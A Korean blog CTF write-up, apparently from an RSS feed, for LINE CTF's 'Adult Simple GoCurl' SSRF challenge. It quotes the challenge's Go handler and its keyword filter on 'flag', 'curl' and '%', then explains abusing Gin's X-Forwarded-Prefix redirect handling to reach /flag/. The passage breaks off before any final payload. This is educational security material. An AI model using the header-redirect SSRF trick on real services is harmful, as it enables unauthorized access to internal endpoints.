      <link>https://chmodi.tistory.com/179</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;이번 LINE CTF의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 분야 4번 문제 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1번 문제인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Baby Simple GoCurl 문제를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;변형시킨 문제입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 개요&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/flag/ 페이지에 접속하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FLAG를 획득하는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SSRF 문제입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;806&quot; data-origin-height=&quot;490&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ovPbG/btr8LOjYwvy/NGrX6T70XrtE55VnLACk6K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ovPbG/btr8LOjYwvy/NGrX6T70XrtE55VnLACk6K/img.png&quot; data-alt=&quot;Adult Simple GoCurl 문제&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ovPbG/btr8LOjYwvy/NGrX6T70XrtE55VnLACk6K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FovPbG%2Fbtr8LOjYwvy%2FNGrX6T70XrtE55VnLACk6K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;426&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;806&quot; data-origin-height=&quot;490&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Adult Simple GoCurl 문제&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 환경 구성&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 파일을 다운받으면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Docker Image의 내용이 명시된&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Dockerfile과&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;docker-compose.yaml 파일이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 명령어로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도커 컨테이너를 설치 및 실행시킬 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1680942785595&quot; class=&quot;shell&quot; style=&quot;background-color: #f8f8f8; color: #383a42;&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# DockerFile과 docker-compose.yaml 파일이 있는
# 디렉토리로 이동
&amp;gt; cd dist

# Docker 컨테이너 설치&amp;amp;실행
&amp;gt; docker-compose up&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;546&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NUSEp/btr8NDa5hZZ/BCgD1YcWGFlZ3OMdqwqWg1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NUSEp/btr8NDa5hZZ/BCgD1YcWGFlZ3OMdqwqWg1/img.png&quot; data-alt=&quot;WEB 4번 문제 설치 중&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NUSEp/btr8NDa5hZZ/BCgD1YcWGFlZ3OMdqwqWg1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNUSEp%2Fbtr8NDa5hZZ%2FBCgD1YcWGFlZ3OMdqwqWg1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;373&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;546&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;WEB 4번 문제 설치 중&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치된 후 실행 중인 컨테이너의 CMD 창은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;종료해도 상관 없습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;546&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BMFEP/btr8MraTPu6/LVb8AqysWZCbu0kupvWowK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BMFEP/btr8MraTPu6/LVb8AqysWZCbu0kupvWowK/img.png&quot; data-alt=&quot;설치 후 실행 중인 4번 문제의 도커 컨테이너&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BMFEP/btr8MraTPu6/LVb8AqysWZCbu0kupvWowK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBMFEP%2Fbtr8MraTPu6%2FLVb8AqysWZCbu0kupvWowK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;373&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;546&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;설치 후 실행 중인 4번 문제의 도커 컨테이너&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 명령어를 통해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행 중인 컨테이너의 PORT를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1680942785596&quot; class=&quot;markdown&quot; style=&quot;background-color: #f8f8f8; color: #383a42;&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 실행 중인 Docker Container 확인
&amp;gt; docker ps&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;138&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b9EwSW/btr8LLHsbgW/RTguwXj8QNGb47BPRpk1kK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b9EwSW/btr8LLHsbgW/RTguwXj8QNGb47BPRpk1kK/img.png&quot; data-alt=&quot;접속 PORT 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b9EwSW/btr8LLHsbgW/RTguwXj8QNGb47BPRpk1kK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb9EwSW%2Fbtr8LLHsbgW%2FRTguwXj8QNGb47BPRpk1kK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;94&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;138&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;접속 PORT 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도커가 실행 중인 서버(호스트)의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IP와 PORT로 접속하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 사이트를 확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;546&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dJmuBl/btr8JliO5Jt/JTP2ZwK2K1JIqrmUxnWxr0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dJmuBl/btr8JliO5Jt/JTP2ZwK2K1JIqrmUxnWxr0/img.png&quot; data-alt=&quot;4번 문제의 웹 페이지&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dJmuBl/btr8JliO5Jt/JTP2ZwK2K1JIqrmUxnWxr0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdJmuBl%2Fbtr8JliO5Jt%2FJTP2ZwK2K1JIqrmUxnWxr0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;373&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;546&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;4번 문제의 웹 페이지&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제로 제공된 파일들 중&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중요한 파일은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;main.pl&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ main.pl&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;main.pl 파일의 내용입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a title=&quot;Web 1번 Baby Simple GoCurl&quot; href=&quot;https://chmodi.tistory.com/177&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Web 1번 Baby Simple GoCurl 문제&lt;/a&gt;에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ClientIP가 127.0.0.1 인지 확인하는 코드가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사라졌습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;446&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/M8FOI/btr8KKiub1n/IKyuod5VZtyMx5FEsY1mp1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/M8FOI/btr8KKiub1n/IKyuod5VZtyMx5FEsY1mp1/img.png&quot; data-alt=&quot;c.ClientIP() != &amp;quot;127.0.0.1&amp;quot; 코드 삭제&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/M8FOI/btr8KKiub1n/IKyuod5VZtyMx5FEsY1mp1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FM8FOI%2Fbtr8KKiub1n%2FIKyuod5VZtyMx5FEsY1mp1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;305&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;446&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;c.ClientIP() != &quot;127.0.0.1&quot; 코드 삭제&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;필터링이 간단해진 것 처럼 보이지만...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ClientIP를 127.0.0.1로 속이면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;뒤의 문자열 필터링을 우회할 수 있었던&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점이 사라지면서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무조건, url 파라미터에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag, curl, % 문자열이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;존재하는지 확인하게 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1681018856643&quot; class=&quot;go&quot; data-ke-language=&quot;go&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;package main

...

func main() {
  flag := os.Getenv(&quot;FLAG&quot;)

  ...

  r.GET(&quot;/curl/&quot;, func(c *gin.Context) {
    client := &amp;amp;http.Client{
      CheckRedirect: func(req *http.Request, via []*http.Request) error {
        return redirectChecker(req, via)
      },
    }

    reqUrl := strings.ToLower(c.Query(&quot;url&quot;))
    
    ...

    /**
    * c.ClientIP() != &quot;127.0.0.1&quot; &amp;amp;&amp;amp;
    * 코드가 사라지면서,
    * ClientIP를 127.0.0.1로 속여도
    * 문자열 필터링을 우회할 수 없게 됐다.
    **/
    if strings.Contains(reqUrl, &quot;flag&quot;) || strings.Contains(reqUrl, &quot;curl&quot;) || strings.Contains(reqUrl, &quot;%&quot;) {
      c.JSON(http.StatusBadRequest, gin.H{&quot;message&quot;: &quot;Something wrong&quot;})
      return
    }

    req, err := http.NewRequest(&quot;GET&quot;, reqUrl, nil)
    if err != nil {
      c.JSON(http.StatusBadRequest, gin.H{&quot;message&quot;: &quot;Something wrong&quot;})
      return
    }

    if reqHeaderKey != &quot;&quot; || reqHeaderValue != &quot;&quot; {
      req.Header.Set(reqHeaderKey, reqHeaderValue)
    }

    resp, err := client.Do(req)
    if err != nil {
      c.JSON(http.StatusBadRequest, gin.H{&quot;message&quot;: &quot;Something wrong&quot;})
      return
    }

    ...
        
  })

  ...

  r.Run()
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 풀이&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/flag/ 페이지의 코드를 보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국, 서버가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/flag/ 페이지에 접속해야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ X-Forwarded-Prefix Header&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP Request가 프록시(예: 로드밸런서)를 통과할 때&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;호스트, 포트 및 체계가 변경될 수 있으므로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트 관점에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;올바른 호스트, 포트 및 체계를 가리키는 링크를 만드는 것이 어렵습니다. &lt;br /&gt;&lt;br /&gt;&lt;a title=&quot;RFC 7239, 섹션 4: Forwarded&quot; href=&quot;https://datatracker.ietf.org/doc/html/rfc7239#section-4&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;RFC 7239&lt;/a&gt;는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프록시가 원래 요청에 대한 정보를 제공하는 데 사용할 수 있는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Forwarded HTTP 헤더를 정의합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;표준 Forwarded Header:&lt;/b&gt;&lt;br /&gt;- &amp;nbsp;X-Forwarded-For, X-Forwarded-Host, X-Forwarded-Proto&lt;br /&gt;&lt;br /&gt;&lt;b&gt;비표준 Forwarded Header:&lt;/b&gt;&lt;br /&gt;- X-Forwarded-Ssl, X-Forwarded-Prefix 등&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서, X-Forwarded-Prefix header는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프록시에 의해 변경되기 전,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Client가 요청했던 Origin Target Path를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;명시하는 Header로 보이며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 문제에서 사용된&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Gin library는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;불완전한(?) URL로 접속했을 때&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;올바른 URL로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Redirection을 발생시키며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 X-Forwarded-Prefix header의 값을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참조합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a title=&quot;X-Forwarded-Prefix를 참조하는 코드&quot; href=&quot;https://github.com/gin-gonic/gin/blob/a889c58de78711cb9b53de6cfcc9272c8518c729/gin.go#L671-L685&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Gin Library의 Redirection 코드&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1681020180593&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - gin-gonic/gin: Gin is a HTTP web framework written in Go (Golang). It features a Martini-like API with much better perf&quot; data-og-description=&quot;Gin is a HTTP web framework written in Go (Golang). It features a Martini-like API with much better performance -- up to 40 times faster. If you need smashing performance, get yourself some Gin. - ...&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/gin-gonic/gin/blob/a889c58de78711cb9b53de6cfcc9272c8518c729/gin.go#L671-L685&quot; data-og-url=&quot;https://github.com/gin-gonic/gin&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/cqO6zN/hySdkR0odB/KEtZbsj6PTWzxu9E3d1maK/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/gin-gonic/gin/blob/a889c58de78711cb9b53de6cfcc9272c8518c729/gin.go#L671-L685&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/gin-gonic/gin/blob/a889c58de78711cb9b53de6cfcc9272c8518c729/gin.go#L671-L685&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/cqO6zN/hySdkR0odB/KEtZbsj6PTWzxu9E3d1maK/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - gin-gonic/gin: Gin is a HTTP web framework written in Go (Golang). It features a Martini-like API with much better perf&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Gin is a HTTP web framework written in Go (Golang). It features a Martini-like API with much better performance -- up to 40 times faster. If you need smashing performance, get yourself some Gin. - ...&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a title=&quot; not only in RedirectTrailingSlash&quot; href=&quot;https://github.com/gin-gonic/gin/issues/2916&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;이번 문제에 사용된 문제점에 대한 글&lt;/a&gt; 또한 찾아 볼 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/(슬래시) 만으로 리다이렉션하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;올바르지 않게 동작한다는 내용 입니다.&lt;/p&gt;
&lt;figure id=&quot;og_1681020364213&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;Respect the X-Forwarded-Prefix header (for redirects) &amp;middot; Issue #2916 &amp;middot; gin-gonic/gin&quot; data-og-description=&quot;TL;DR Add support for the X-Forwarded-Prefix for improved support for reverse proxies. Redirects should always be relative to X-Forwarded-Prefix, not only in RedirectTrailingSlash. Description Redi...&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/gin-gonic/gin/issues/2916&quot; data-og-url=&quot;https://github.com/gin-gonic/gin/issues/2916&quot; 